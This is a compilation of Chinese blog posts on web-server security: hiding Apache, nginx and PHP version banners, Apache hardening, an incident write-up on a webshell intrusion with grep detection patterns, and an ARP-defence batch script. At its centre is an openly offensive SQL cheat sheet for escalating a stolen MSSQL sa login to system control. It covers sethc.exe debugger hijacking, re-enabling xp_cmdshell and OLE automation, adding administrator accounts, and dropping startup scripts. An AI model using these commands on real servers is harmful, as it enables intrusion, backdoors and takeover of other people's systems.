隐藏apache/nginx和php的版本


隐藏apache/nginx和php的版本信息,web server避免一些不必要的麻烦
=======================
隐藏 Apache 版本信息

/etc/apache2/apache2.conf 或 /etc/httpd/conf/httpd.conf
ServerTokens ProductOnly
ServerSignature Off

重启 apache
现在 http 头里面只看到:
Server: Apache
=====================
隐藏 nginx 版本信息
 
#vi nginx.conf
在http 加上 server_tokens off;
如下:
http {
……省略配置
sendfile on;
tcp_nopush on;
keepalive_timeout 65;
tcp_nodelay on;
server_tokens off; 
…….省略配置
}
=======================
隐藏 PHP 版本
php.ini

expose_php On
改成
expose_php Off

重启apache后,php版本在http头中隐藏了。

详解 :

为了防止某些别有用心的家伙窥视我们的服务器,应该做些什么.
我们来看一下相关的2个参数,分别为ServerTokens和ServerSignature,通过控制这2个阀门应该就能起到一些作用,比如我们可以在配置文件中这么写:
ServerTokens Prod
ServerSignature Off

ServerTokens
用于控制服务器是否相应来自客户端的请求,向客户端输出服务器系统类型或内置模块等重要的系统信息。 在主配置文件中提供全局控制默认阀值为”Full”(ServerTokens Full),所以,如果你的Linux发行版本没有更改过这个阀值的话,所有与你的系统有关的敏感信息都会向全世界公开。比如RHEL会将该 阀值更改为”ServerTokens OS”,而Debian依然使用默认的”Full”阀值
以apache-2.0.55为例,阀值可以设定为以下某项(后面为相对应的Banner Header):
Prod >>> Server: Apache
Major >>> Server: Apache/2
Minor >>> Server: Apache/2.0
Minimal >>> Server: Apache/2.0.55
OS >>> Server: Apache/2.0.55 (Debian)
Full (or not specified) default >>> Server: Apache/2.0.55 (Debian) PHP/5.1.2-1+b1 mod_ssl/2.0.55 OpenSSL/0.9.8b

ServerSignature
控制由系统生成的页面(错误信息,mod_proxy ftp directory listing等等)的页脚中如何显示信息。

可在全局设置文件中控制,或是通过.htaccess文件控制
默认为”off”(ServerSignature Off),有些Linux发行版本可能会打开这个阀门,比如Debian在默认的虚拟主机上默认将这个阀门设置为开放
全局阀门的阀值会被虚拟主机或目录单位的配置文件中的阀值所覆盖,所以,必须确保这样的事情不应该发生 .

Apache服务器走到那里,unix/linux就跟到那里,这足以说明在WEB服务器领域Apache的优良性能与市场占有率
这今天互联网的大环境下,web服务已经成为公司企业必不可少的业务,大多数的安全问题也跟随而来,攻击重点也转移为web攻击,许多web与颇有价值的客户服务与电子商业活动结合在一起,这也是吸引恶意攻击重要原因。
先来了解下web所面临的安全风险
HTTP拒绝服务攻击
攻击者通过某些手段使服务器拒绝对http应答,这使Apache对系统资源(cup时间与内存)需求巨增,最终造成系统变慢甚至完全瘫痪,Apache服务器最大的缺点是,它的普遍性使它成为众矢之的,Apache服务器无时无刻不受到DoS攻击威胁,主要有下边几种
1.数据包洪水攻击
一种中断服务器或本地网络的方法是数据包洪水攻击,它通常使用internet控制报文协议(ICMP,属于网络层协议)
包 或是udp包,在最简单的形式下,这些攻击都是使服务器或网络负载过重,这意味这攻击者的网络速度必须比目标主机网络速度要快,使用udp包的优势是不会 有任何包返回到黑客的计算机(udp效率要比tcp高17倍),而使用ICMP包的优势是攻击者能让攻击更加富与变化,发送有缺陷的包会搞乱并锁住受害者 的网络,目前流行的趋势是攻击者欺骗服务器,让其相信正在受来自自身的洪水攻击
2.磁盘攻击
这是一种很不道德的攻击,它不仅影响计算机的通信,还破坏其硬件,伪造的用户请求利用写命令攻击目标计算机硬盘,让其超过极限,并强制关闭,结局很悲惨
3.路由不可达
通常DoS攻击,集中在路由器上,攻击者首先获得控制权并操纵目标机器,当攻击者能更改路由表条目时候,会导致整个网络无法通信,这种攻击很阴险,隐蔽,因为网络管理员需要排除的网络不通原因很多,其中一些原因需要详细分辨
4.分布式拒绝服务攻击
这 也是最具有威胁的DDoS攻击,名称很容易理解,简单说就是群欧,很多客户机同时单条服务器,你会发现你将伤痕累累,Apache服务器特别容易受到攻 击,无论是DDos还是隐藏来源的攻击,因为Apache无处不在,特别是为Apache特意打造的病毒(特选SSL蠕虫),潜伏在许多主机上,攻击者通 过病毒可以操纵大量被感染的机器,对特定目标发动一次浩大的DDoS攻击,通过将蠕虫散播到大量主机,大规模的点对点攻击得以进行,除非你不提供服务,要 不然几乎无法阻止这样的攻击,这种攻击通常会定位到大型的网站上。
缓冲区溢出,这种攻击很普遍,攻击者利用CGI程序编写一些缺陷程序偏离正常的流程,程序使用静态的内存分配,攻击者就可以发送一个超长的请求使缓冲区溢出,比如,一些perl编写的处理用户请求的网关脚本,一但缓冲区溢出,攻击者就可以执行恶意指令
非法获取root权限
如 果Apache以root权限运行,系统上一些程序的逻辑缺陷或缓冲区溢出漏洞,会让攻击者很容易在本地系统获取linux服务器上的管理者权限,在一些 远程情况下,攻击者会利用一些以root身份执行的有缺陷的系统守护进程来取得root权限,或利用有缺陷的服务进程漏洞来取得普通用户权限,以远程登 陆,进而控制整个系统。
这边这些都是服务将会遇到的攻击手段,下边来说,如何打造安全的Apache服务器
如果你能遵守下边这些建议,那么你将得到一台相对安全的apache服务器
一:勤打补丁
你必须要相信这个是最有用的手段,缓冲区溢出等漏洞都必须使用这种手段来防御,勤快点相信对你没有坏处
在http:www.apache.org上最新的changelog中都写有:bug fix ,security bug fix的字样,做为负责任的管理员要经常关注相关漏洞,及时升级系统添加补丁。使用最新安全版本对加强apache至关重要
二:隐藏和伪装Apache的版本
通常,软件的漏洞信息和特定版本是相关的,因此,版本号对黑客来说是最有价值的。
默认情况下,系统会把Apache版本模块都显示出来(http返回头)。如果列举目录的话,会显示域名信息(文件列表正文),去除Apache版本号的方法是修改配置文件/etc/httpd.conf。找到关键字ServerSignature,将其设定为:
ServerSignature Off
ServerTokens Prod

然后重新启动Apache服务器。
通过分析Web服务器的类型,大致可以推测出操作系统的类型,比如,Windows使用IIS来提供HTTP服务,而Linux中最常见的是Apache。

默认的Apache配置里没有任何信息保护机制,并且允许目录浏览。通过目录浏览,通常可以获得类似“Apache/1.3.27 Server at apache.linuxforum.net Port 80”或“Apache/2.0.49 (Unix) PHP/4.3.8”的信息。
通 过修改配置文件中的ServerTokens参数,可以将Apache的相关信息隐藏起来。但是,Red Hat Linux运行的Apache是编译好的程序,提示信息被编译在程序里,要隐藏这些信息需要修改Apache的源代码,然后,重新编译安装程序,以替换里 面的提示内容。

以Apache 2.0.50为例,编辑ap_release.h文件,修改“#define AP_SERVER_BASEPRODUCT \”Apache\””为“#define AP_SERVER_BASEPRODUCT \”Microsoft-IIS/5.0\””。
编辑os/unix/os.h文件,修改“#define PLATFORM \”Unix\””为“#define PLATFORM \”Win32\””。
修改完毕后,重新编译、安装Apache。
Apache 安装完成后,修改httpd.conf配置文件,将“ServerTokens Full”改为“ServerTokens Prod”;将“ServerSignature On”改为“ServerSignature Off”,然后存盘退出。重新启动Apache后,用工具进行扫描,发现提示信息中已经显示操作系统为Windows。
如ubuntu中文论坛
Apache/2.2.8 (Ubuntu) DAV/2 SVN/1.4.6 mod_ssl/2.2.8 OpenSSL/0.9.8g Server at forum.ubuntu.org.cn Port 80
这个等于告诉恶意用户很多有用信息,虽然说不算开了门,但等于被告诉了门在那里,还是相当危险的
三:建立安全的目录结构apache服务器包括四个目录结构
ServerRoot #保存配置文件,二进制文件与其他服务器配置文件
DocumentRoot #保存web站点内容,包括HTML文件和图片等
ScripAlias #保存CGI脚本
Customlog 和 Errorlog #保存日志和错误日志
建议的目录结构为,以上四种目录相互独立并且不存在父子逻辑关系
注:
ServerRoot目录只能为root用户访问
DocumentRoot目录应该能够被管理web站点内容的用户访问和使用apache服务器的apache用户与组访问
ScripAlias目录应该只能被CGI开发人员和apache用户访问
Customlog 和 Errorlog只能被root访问
下边是一个安全目录结构的事例
+——-/etc/
|
| +—-/http (ServerRoot)
| +—-/logs (Customlog 和 Errorlog)
|
+——-var/www
|
| +—/cgi-bin (ScripAlias)
| +—/html(DocumentRoot)
这样的目录结构是比较安全的,因为目录之间独立,某个目录权限错误不会影响到其他目录
四:为apache使用专门的用户与组
按照最小特权的原则,需要给apache分配一个合适的权限,让其能够完成web服务
注:
最小特权原则是系统安全中最基本的原则之一,限制使用者对系统及数据进行存取所需要的最小权限,保证用户可以完成任务,同时也确保被窃取或异常操作所造成的损失
必须保证apache使用一个专门的用户与组,不要使用系统预定的帐户,比如nobody用户与nogroup组
因 为只有root用户可以运行apache,DocumentRoot应该能够被管理web站点内容的用户访问和使用apache服务器的 apache用户与组访问,例如,希望“test”用户在web站点发布内容,并且可以以httpd身份运行apache服务器,可以这样设定
groupadd webteam
usermod -G webteam test
chown -R httpd.webteam /www/html
chmod -R 2570 /www/htdocs
只有root能访问日志,推荐这样的权限
chown -R […]

隐藏php头部版本输出 Hide PHP version (X-Powered-By)

php默认会输出header信息:
Date: Tue, 15 Apr 2008 13:58:46 GMT
Server: Apache/2.2.8
X-Powered-By: PHP/5.2.3
这样一下子php信息就全曝光了。怎样解决呢。

隐藏php头部版本输出 Hide PHP version (X-Powered-By)

php默认会输出header信息:
Date: Tue, 15 Apr 2008 13:58:46 GMT
Server: Apache/2.2.8
X-Powered-By: PHP/5.2.3
这样一下子php信息就全曝光了。怎样解决呢。

网上一搜中文,还真找不到相关信息。用英文一搜搜到了(下面是原文)
If you have read my previous tip, “Hide apache software version“, you have seen how you can configure apache to provide only a minimal amount of information about the installed software versions in its banner. But if you are using the PHP module in your web server (as most of us are), then there is one additional step that need to be completed, and this is what I will show you in this tip.
After implementing the apache directives ServerTokens and ServerSignature as shown in “Hide apache software version“, we test its functionality against a regular html file and we get the following response:

HEAD http://remote_server.com/index.html
200 OK
Connection: close
Date: Fri, 16 Jun 2006 01:13:23 GMT
Server: Apache
Content-Type: text/html; charset=UTF-8
Client-Date: Fri, 16 Jun 2006 21:42:53 GMT
Client-Peer: 192.168.0.102:80
Client-Response-Num: 1
This looks good. But if we do the same thing against an URL that is a PHP file:

HEAD http://remote_server.com/index.php 200 OK Connection: close Date: Fri, 16 Jun 2006 01:16:30 GMT Server: Apache Content-Type: text/html; charset=UTF-8 Client-Date: Fri, 16 Jun 2006 21:48:13 GMT Client-Peer: 192.168.0.102:80 Client-Response-Num: 1 X-Powered-By: PHP/5.1.2-1+b1
Ups… As we can see PHP adds its own banner:

X-Powered-By: PHP/5.1.2-1+b1…
Let’s see how we can disable it. In order to prevent PHP from exposing the fact that it is installed on the server, by adding its signature to the web server header we need to locate in php.ini the variable expose_php and turn it off.

By default expose_php is set to On.

In your php.ini (based on your Linux distribution this can be found in various places, like /etc/php.ini, /etc/php5/apache2/php.ini, etc.) locate the line containing “expose_php On” and set it to Off:

expose_php = Off
After making this change PHP will no longer add it’s signature to the web server header. Doing this, will not make your server more secure… it will just prevent remote hosts to easily see that you have PHP installed on the system and what version you are running.
结果简单的让人吃惊,只是需要修改php.ini 的 expose_php 把默认的 On改成 Off 就行了。

关于蓝客联盟成员博客被入侵之无日志入侵分析

博客被入侵时间:2012年02月07日

当天下午,奠爱忽然来找:“咱博客全部被拿下啦!是不是你弟的博客出的问题?”

我打开发来的txt“炫页”一看,果然是中招了,于是登录服务器输入:
~/lnmp stop

停止服务器上的WEB服务以中断入侵者的操作,这个步骤前后操作时间约10秒
(本服务器因配置低而使用lnmp这个轻量级组合,所以使用home下的一个”lnmp”的脚本来停止服务)

接下来使用putty开启两个终端窗口

第一个终端按木马常见特征码查找WEBSHELL文件:
find /luc/www -name “*.php” |xargs grep “eval” |more
find /luc/www -name “*.php” |xargs grep “shell_exec” |more
find /luc/www -name “*.php” |xargs grep “passthru” |more
find /luc/www -name “*.php” |xargs grep “fsockopen” |more
find /luc/www -name “*.php” |xargs grep “base64_decode” |more
发现已经被插入10来个一句话木马了,可见入侵者已经进去了至少30分钟以上

第二个终端删除查找到的WEBSHELL后门:
rm -rf /luc/www/www.chnhacker.com/shell.php
这样按查找的结果逐个文件分析并删除,清理WEBSHELL后门这个步骤前后操作时间约10分钟

附常规检查方法:
find /luc/www -name “*.php” -mtime -7
(查找7天内生成的php文件,但不能以此为准,因为日期是可以修改的)

服务器环境描述:
这是在咱同胞在老美开的IDC公司购买的超低配置级VPS,详细配置请点击:DiaHosting
硬件环境:硬盘10G、内存180MB
软件环境:操作系统是完全免费的Centos 5、WEB服务是完全免费的Nginx、数据库服务是完全免费的MySQL、Web脚本语言也是完全免费的PHP…
因为这服务器除了用来给蓝客联盟成员放几个博客写写文章以外就没其它用途,再加上蓝客10年以来都是自主性的技术研究并没有搞任何商业性的盈利项目,因此蓝客们穷啊,180M内存就将就着用吧 :)

从以上的配置一看就知道服务器存在一个非常明显的弱点:内存和硬盘实在是太小了!
因此在搭建WEB服务的时候是绝对不能使用Apache,唯一的最佳选择就是轻而快的Nginx!
由于硬盘也小所以本人索性把Nginx日志记录功能关闭了
然而,关闭了日志就意味着无法对入侵者的操作追根溯源,因此只能单凭经验与猜测去模拟入侵者操作过程了。

本人通常给入侵者概括性分3大类型:

1.高级专家型,获取初级权限(如webshell)后会想尽一切可能的办法来进一步提升他的权限(如系统ROOT权限、数据库权限),然后在服务器获取了他本人需要的信息以后会留下隐蔽性极高的系统级后门,接着帮服务器修补发现的漏洞、清除日志以避免其他入侵者进来骚扰
2.中级职业型,获取初级权限(如webshell)后会进一步试图提升他的权限(如系统ROOT权限、数据库权限),若能提权则留下后门、否则在获取他需要的信息后直接走人
3.爱炫初级型,获取初级权限(如webshell)后第一操作就是挂“炫页”留下大名(以炫耀为目的的页面我们蓝客称之为炫页),然后拿给亲朋好友炫耀以达到虚荣心上的满足或者以此证明自己的能力
然而以上3大类型当中亦有个别的可附加上“疯狂与暴力型”的称号,主要表现为:打包数据公布给网友下载、破坏删除服务器上的数据……

入侵分析:

一、初步分析,检查系统用户与用户组是否正常,并检查history列表里操作记录是否有异常
cat /etc/passwd
cat /etc/group
history
经仔细查看,并无任何异常,很明显入侵并没有拿下系统权限,因为本人阉割了PHP的危险功能、取消了系统敏感文件的普通用户读取权限、限制MySQL用户的基本操作权限

附加禁用PHP函数、敏感系统文件权限、限制MySQL用户的基本操作权限的设置方法:
system,passthru,shell_exec,exec,proc_open,popen
(禁用的PHP函数列表)
chmod o-r /
chmod o-r /*
chmod o-r /usr/*
chmod o-r /var/*
chmod o-r /etc/passwd
chmod o-r /etc/group
chmod o-r /etc/issue.net
chmod o-r /etc/hosts
chmod o-r /etc/fstab
chmod o-r /proc/version
chmod go-rx /etc/rc.d/init.d
chmod o-r /etc/rc.d/init.d/*
chmod go-rx /usr/bin/gcc
chmod go-rx /usr/bin/g++
chmod go-rx /usr/include
(敏感系统文件权限设置)

(限制MySQL用户的基本操作权限)

二、入侵途径猜测,因为没有启用WEB服务日志记录功能
首当其冲的就是WordPress这套博客程序,因为服务器上就两套程序,占数量最多的一套就是WP,另一套是我自己随便编写的功能简单的蓝客文化站程序。
本人第一时间猜测的就是某博客管理员存在弱口令,利用社会工程学的特征把其中一个密码猜出来以后就可以通过“上传主题”或者“修改主题模板代码”直接得到WEBSHELL权限。
在得到WEBSHELL权限后,通过路径猜测就可以跳转到各博客的目录里去更改文件、插入WEBSHELL,因为原生的Nginx是以效率而著名,使用的是单用户运行模式,因此不带用户隔离功能(网上亦有通过修改源码来实现用户隔离的方法,有兴趣的朋友可以谷歌找一下)。
于是到蓝客内务群里把各博主都叫来修改密码,之后就尝试把WEB服务重新开启,前后从入侵被挂炫页到恢复WEB服务约耗时30分钟。
因为本人工作原因是时间严重缺乏,开启WEB服务后就继续上班去了。

然而,这尝试猜测并不正确,事隔第二天蓝客的博主们又被插入了一句话SHELL,于是本人对各博客戏说:“此厮可真谓死缠烂打啊,你们是不是得罪什么人了,我平时不是教育你们说只管做好自己练好自己的技术别跟外面的人一般见识嘛?”
既然问题还没解决,那只有再猜测了:
在思考的时候忽然想起昨天诗人弟弟对我说过:“飞哥,那套loper1.2有漏洞,升级一下1.3吧!”,我当时没在意,因为当时已经初步处理完并且已经在工作中了。
因为去年我们内部盛传着一个非常酷的主题,那就是loper1.2,虽然现在已经很多人没用这主题了,但文件却还有保留在服务器上。
于是我再从loper1.2里着手查,问题果然在它身上。
以下是“wp-content/themes/loper1.2/timthumb.php”这个缩略图插件脚本的其中一段代码:
function mime_type ($file) {
$file_infos = getimagesize ($file);
$mime_type = $file_infos[‘mime’];
// use mime_type to determine mime type
if (!preg_match (“/jpg|jpeg|gif|png/i”, $mime_type)) {
display_error (‘Invalid src mime type: ‘ . $mime_type);
}
return $mime_type;
}
由于过滤不严导致的漏洞,修复方法如下:
function mime_type ($file) {
$file_infos = getimagesize ($file);
$mime_type = $file_infos[‘mime’];
// use mime_type to determine mime type
if (!preg_match (“/jpg|jpeg|gif|png/i”, $mime_type)) {
display_error (‘Invalid src mime type: ‘ . $mime_type);
exit();
}
return $mime_type;
}
最后就把各人的loper1.2主题都修复了一下,至此问题解决。

小结:本文旨在为遇到类似情况的人提供一个参考。另外,安全是相对性的,还望国人在技术上多跟紧时代的步伐,切莫固步自封满足现状!

Sa提权sql语句大全

Sa提权方式很多,而最快捷的方式就是shift粘滞键镜像劫持。这种Sa提权方法必须满足几个条件,数据库可以远程访问,服务器开启了终端远程访问也就是3389和粘滞键功能。这样就可以利用Microsoft SQL Server Management Studio或其他漏洞检测工具来连接远程数据库了。
个人推荐使用Microsoft SQL Server Management Studio,可以到微软官方下载地址:http://www.microsoft.com/web/downloads/platform.aspx。如果不用数据库可以不安装,选装Microsoft SQL Server Management Studio就可以了。然后链接数据库引擎,用已得到的sa用户连接数据库,执行下面sql语句,再通过远程桌面链接服务器并连续按5次任意键就可以得到服务器的系统权限了。
从网上收集了Sa提权用到的sql语句,在Sa提权过程中结合实际情况来使用吧。

获取终端端口号(两种方法)

DECLARE @result varchar(255) EXEC master.dbo.xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp’,’PortNumber’;

exec master..xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp’,’PortNumber’;

设置终端端口(这两个注册表项必须相同)

exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp’,’PortNumber’,’REG_DWORD’,3389;

exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Control\Terminal Server\Wds\rdpwd\Tds\tcp’,’PortNumber’,’REG_DWORD’,3389 ;

查询是否被别人劫持过了(唉!)

exec master..xp_regread ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe’,’Debugger’;

镜像劫持shift.exe 得到系统权限 CmdShell (也可以劫持其他文件如:taskmgr.exe)

exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe’,’debugger’,’REG_sz’,’c:\windows\system32\cmd.exe on’;

删除镜像劫持(不想和别人共享服务器用完了就删掉吧)

exec master..xp_regdeletekey ‘HKEY_LOCAL_MACHINE’, ‘SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe’;
命令不能执行或权限不足请参考如下提权方法:

1 未能找到存储过程’master..xpcmdshell’。
恢复方法:查询分析器连接后,
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o int
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕。
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一DLL。原因126(找不到指定模块。)
恢复方法:查询分析器连接后,
第一步执行:sp_dropextendedproc “xp_cmdshell”
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’
然后按F5键命令执行完毕。
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分析器连接后,
第一步执行:exec sp_dropextendedproc ‘xp_cmdshell’
第二步执行:exec sp_addextendedproc ‘xp_cmdshell’,’xpweb70.dll’
然后按F5键命令执行完毕。
恢复xp_cmdshell
sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’
sp_addextendedproc ‘xp_cmdshell’,’xplog70.dll’
添加存储过程
sp_addextendedproc ‘sp_oacreate’,’odsole70.dll
sp_addextendedproc ‘xp_lake2’, ‘d:\wwwroot\caoo\wwwroot\xplake2.dll’
sp_dropextendedproc xp_lake2
–可以在网上下载到xplake2.dll (http://www.0×54.org/lake2/program/xplake2.dll)
加账号
EXEC xp_lake2 ‘net user > d:\wwwroot\caoo\wwwroot\1.txt’
EXEC xp_lake2 ‘net user 123 123 /add’
EXEC xp_lake2 ‘net localgroup administrators 123 /add’
4终极方法:
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分析器连接后,
2000servser系统:
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output
exec sp_oamethod @shell,’run’,NULL,’c:\winnt\system32\cmd.exe /c net user 123 123 /add’

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,NULL,’c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add’
xp或2003server系统:
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,NULL,’c:\windows\system32\cmd.exe /c net user 123 123 /add’
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod
@shell,’run’,NULL,’c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add’
替换shift后门,跟开章的镜像劫持效果一样
declare @o int
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘copyfile’,NULL,’c:\windows\explorer.exe’ ,’c:\windows\system32\sethc.exe’;
declare @oo int
exec sp_oacreate ‘scripting.filesystemobject’, @oo out
exec sp_oamethod @oo, ‘copyfile’,NULL,’c:\windows\system32\sethc.exe’ ,’c:\windows\system32\dllcache\sethc.exe’;
开启数据库沙盘模式

exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1
SELECT * FROM openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\windows\system32\ias\ias.mdb’,’select shell(“cmd.exe /c net user admin 1234 /add”)’)
SELECT * FROM openrowset(‘microsoft.jet.oledb.4.0′,’;database=c:\windows\system32\ias\ias.mdb’,’select shell(“cmd.exe /c net localgroup administrators admin /add”)’)
不同的操作系统,路径也不一样,需要根据情况做修改:
NT/2K: c:\winnt\system32\
XP/2003: c:\windows\system32\
exec master..xp_dirtree ‘C:\Documents and Settings\Administrator\「开始」菜单\程序\启动’,1,1

ALTER DATABASE [sq_crmchuangyu] SET RECOVERY FULL–
CREATE TABLE cmd (a image)–
backup log [sq_crmchuangyu] TO disk = ‘c:\cmd1’ WITH init–
INSERT INTO cmd (a) VALUES (0x130A0D0A404563686F206F66660D0A406364202577696E646972250D0A4064656C20646972202F73202F612073657468632E6578650D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C73657468632E657865202F790D0A40636F7079202577696E646972255C73797374656D33325C636D642E657865202577696E646972255C73797374656D33325C646C6C63616368655C73657468632E657865202F790D0A)–
backup log [sq_crmchuangyu] TO disk = ‘C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat’–
DROP TABLE cmd–
在获得SA密码后,往往因为服务器管理者或”前人”将net.exe和net1.exe被限制使用,无法添加管理员账号。我们知道VBS在活动目录 (ADSI)部分有一个winnt对象,用来管理本地资源,利用它可以不依靠CMD等命令就能添加一个管理员,具体代码如下(测试成功!很实用!):

set wsnetwork=CreateObject(“WSCRIPT.NETWORK”)
os=”WinNT://”&wsnetwork.ComputerName
Set ob=GetObject(os) ‘得到adsi接口,绑定
Set oe=GetObject(os&”/Administrators,group”) ‘属性,admin组
Set od=ob.Create(“user”,”test”) ‘建立用户
od.SetPassword “1234” ‘设置密码
od.SetInfo ‘保存
Set of=GetObject(os&”/test”,user) ‘得到用户
oe.add os&”/test”
将上面的代码保存为1.vbs,然后执行,命令为“cscript 1.vbs”,这样就会在系统添加一个系统名为test,密码为1234的用户。具体在查询分析器执行的代码如下:
declare @o int, @f int, @t int, @ret int
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘createtextfile’, @f out, ‘c:\1.vbs’, 1
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’set wsnetwork=CreateObject(“WSCRIPT.NETWORK”)’
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’os=”WinNT://”&wsnetwork.ComputerName’
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set ob=GetObject(os)’
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set oe=GetObject(os&”/Administrators,group”)’
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set od=ob.Create(“user”,”test”)’
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’od.SetPassword “1234”‘
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’od.SetInfo ‘
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set of=GetObject(os&”/test”,user) ‘
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’oe.add os&”/test”‘
执行完上面的语句,再执行下面这行代码,这行代码一定单独执行,不要与上面的放在一起执行,否则会提示 “c:\1.vbs正被另一个程序运行”而无法成功添加用户:
exec master..xp_cmdshell ‘cscript c:\1.vbs’
如果系统用户没有添加成功,有可能是因为系统用户的密码1234的太简单,不符合服务器的复杂密码策略,可以考虑设置的复杂些,然后再测试一下。
Microsoft SQL Server2005在默认情况下,一些存储过程是关闭着的,需要命令打开:

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:\windows\system32\cmd.exe /c net user’
执行SQL语句时发生错误!
错误描述:SQL Server 阻止了对组件 ‘Ole Automation Procedures’ 的 过程’sys.sp_OACreate’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘Ole Automation Procedures’。有关启用 ‘Ole Automation Procedures’ 的详细信息,请参阅 SQL Server 联机丛书中的 “外围应用配置器”。
exec master..sp_addextendedproc ‘xp_cmdshell’,’xplog70.dll’–成功。
在执行SQL语句
[Microsoft][ODBC SQL Server Driver][SQL Server]在执行 xp_cmdshell 的过程中出错。调用 ‘CreateProcess’ 失败,错误代码: ‘5′。
遇到 sql server 2005 ,恢复xp_cmdshell的办法:
开启XP_cmdshell:

EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure
‘xp_cmdshell’, 1;RECONFIGURE;

开启’OPENROWSET’:

exec sp_configure ‘show advanced options’, 1;RECONFIGURE;exec sp_configure
‘Ad Hoc Distributed Queries’,1;RECONFIGURE;

开启’sp_oacreate’:

exec sp_configure ‘show advanced options’, 1;RECONFIGURE;exec sp_configure
‘Ole Automation Procedures’,1;RECONFIGURE;
就这么多了!总之,具体问题具体分析吧!

使用虚拟网关解决ARP攻击

使用虚拟网关解决ARP攻击是个不错的方法,网上流行一个vbs的虚拟网关,也有斯普林的程序的,这个是批处理,加入开机批处理即可有效解决!
基本实现方法:

@echo off
FOR /F "usebackq eol=; tokens=2 delims=:" %%I in (`ipconfig /all^|find /i "IP Address"`) do set IP=%%I
FOR /F "usebackq eol=; tokens=2 delims=:" %%I in (`ipconfig /all^|find /i "Physical Address"`) do set MAC=%%I

第一行是读取本机的IP地址,第二行是读取本机的MAC地址

Set /a a=%RANDOM%/128
Set /a b=%RANDOM%/128
Set IPhead=172.16
Set GatewayIP=%IPhead%.%a%.%b%

这四行是生成一个172.16开头的随机网关IP地址
我自己的内网网段为172.16.0.0,所以设成这样
(若想生成192.168.1.X网段的IP,可改成如下

Set /a a=%RANDOM%/128
Set IPhead=192.168.1
Set GatewayIP=%IPhead%.%a%

若想限制生成的随机IP范围在192.168.1.100-192.168.1.255之间,可改成如下

:start
Set /a a=%RANDOM%/128
IF %a% LEQ 100 goto start

这样就可以限制a比100大
EQU – 等于,NEQ – 不等于,LSS – 小于,LEQ – 小于或等于,GTR – 大于,GEQ – 大于或等于
要限制在其他范围的话,自己改一下代码吧

Set IPhead=192.168.1
Set GatewayIP=%IPhead%.%a%
Set GatewayMAC=00-0f-e2-3e-b6-66

这里的是真实的网关MAC地址

arp -d
arp -s %IP% %MAC%"

静态绑定本机IP和本机MAC地址
arp -s %GatewayIP% %GatewayMAC%”
静态绑定随机生成的网关IP和真实的网关MAC地址

route delete 0.0.0.0
route add 0.0.0.0 mask 0.0.0.0 %GatewayIP% metric 1

删除原先的默认由,定义默认由指向随机生成的网关IP

4.手动修改网内所有PC的网关地址为一个不存在的IP
如果更换了网关设备,你只需改动Server服务器中的脚本即可,不用到每台客户机去修改

原理简单分析:
PART I.ARP病毒攻击手段一是向网内其它PC谎称“网关IP地址对应的MAC地址是aa-bb-cc-dd-ee-ff”;
例:PC1骗PC2、PC3说“网关192.168.1.1的MAC地址为11-11-11-11-11-11”,192.168.1.1是PC1用IPCONFIG命令查看到的网关地址,PC2、PC3信以为真,在各自的ARP表中添加一个ARP条目“192.168.1.1 11-11-11-11-11-11”,但是PC2、PC3上网的网关地址并不是192.168.1.1,而是随机生成的那个IP地址,所以即使受骗了也不要紧,依然可以正常上网;
ARP病毒攻击手段二是向网关谎称“PC1的MAC地址是bb-cc-dd-ee-ff-gg”,“PC2的MAC地址是cc-dd-ee-ff-gg-hh”之类;
例:PC1骗网关地址192.168.1.1说“PC2的MAC地址为22-22-22-22-22-22”,但192.168.1.1是随便改的一个不存在的IP地址,所以不会有机器上当受骗
PART II.默认由里指向的网关MAC地址正确,就确保了所有发向外网的数据包可以顺利发送到真实的网关;

总结:
